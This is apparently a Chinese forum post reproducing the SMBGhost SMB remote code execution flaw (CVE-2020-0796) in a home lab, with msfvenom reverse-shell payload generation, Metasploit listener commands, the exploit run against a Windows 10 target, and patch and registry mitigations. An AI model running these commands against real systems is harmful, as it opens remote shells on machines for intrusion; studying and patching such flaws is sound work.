CVE-2020-0796远程代码执行复现【通过】

漏洞描述

2020年3月11日,某国外安全公司发布了一个近期微软安全补丁包所涉及漏洞的综述,其中谈到了一个威胁等级被标记为Critical的SMB服务远程代码执行漏洞(CVE-2020-0796),攻击者可能利用此漏洞远程无需用户验证通过发送构造特殊的恶意数据导致在目标系统上执行恶意代码,从而获取机器的完全控制。

 

受影响系统及应用版本

Windows  10 Version 1903 for 32-bit Systems                          
Windows  10 Version 1903 for ARM64-based Systems                     
Windows  10 Version 1903 for x64-based Systems                   
Windows  10 Version 1909 for 32-bit Systems                          
Windows  10 Version 1909 for ARM64-based Systems                     
Windows  10 Version 1909 for x64-based Systems                   
Windows  Server, version 1903 (Server Core installation)       
Windows  Server, version 1909 (Server Core installation)   

 

漏洞复现(远程代码执行)

需要工具

奇安信CVE-2020-0796漏洞远程无损扫描工具:

http://dl.qianxin.com/skylar6/CVE-2020-0796-Scanner.zip

SMBGhost_RCE_PoC:

 

需要的环境

受影响系统即可,我这边使用的是1909

攻击机:Kali Linux IP:192.168.100.159

靶机:Windows10 1909 IP:192.168.100.144

 

复现过程

首先关闭Windows10上的防火墙

 

确保攻击机和靶机网络是互通的

image-20200603190019339

 

运行漏洞检测工具,确认该Windows10存在漏洞

 

用msf生成python的shellcode

msfvenom -a x64 --platform windows -p windows/x64/meterpreter/reverse_tcp LHOST=192.168.100.159 LPORT=6666 -f python -o shellcode.txt

 

把生成的shellcode里的buf替换成USER_PAYLOAD

 

把exploit.py里的USER_PAYLOAD替换为用msf生成的shellcode

 

msf里面启动监听

msf5 > use exploit/multi/handler 
msf5 exploit(multi/handler) > set payload windows/x64/meterpreter/reverse_tcp
msf5 exploit(multi/handler) > set lhost 192.168.100.159
msf5 exploit(multi/handler) > set lport 6666
msf5 exploit(multi/handler) > run

image-20200604162802786

 

运行poc

python3 exploit.py -ip 192.168.100.144

image-20200604163000391

 

成功getshell

 

修复方法

1、微软已经发布了此漏洞的安全补丁,补丁链接:

https://portal.msrc.microsoft.com/en-US/security-guidance/advisory/CVE-2020-0796

 

2、如果暂时无法安装补丁,微软当前建议按如下临时解决方案处理:

执行以下命令来禁用SMB 3.0的压缩功能,是否使用需要结合自己业务进行判断。

Set-ItemProperty-Path "HKLM:\SYSTEM\CurrentControlSet\Services\LanmanServer\Parameters"DisableCompression -Type DWORD -Value 1 -Force

 

3、更新到微软新发布的Windows10 2004

  • 通过
  • 未通过

0 投票者

[-] physical read primitive failed!是什么愿意表哥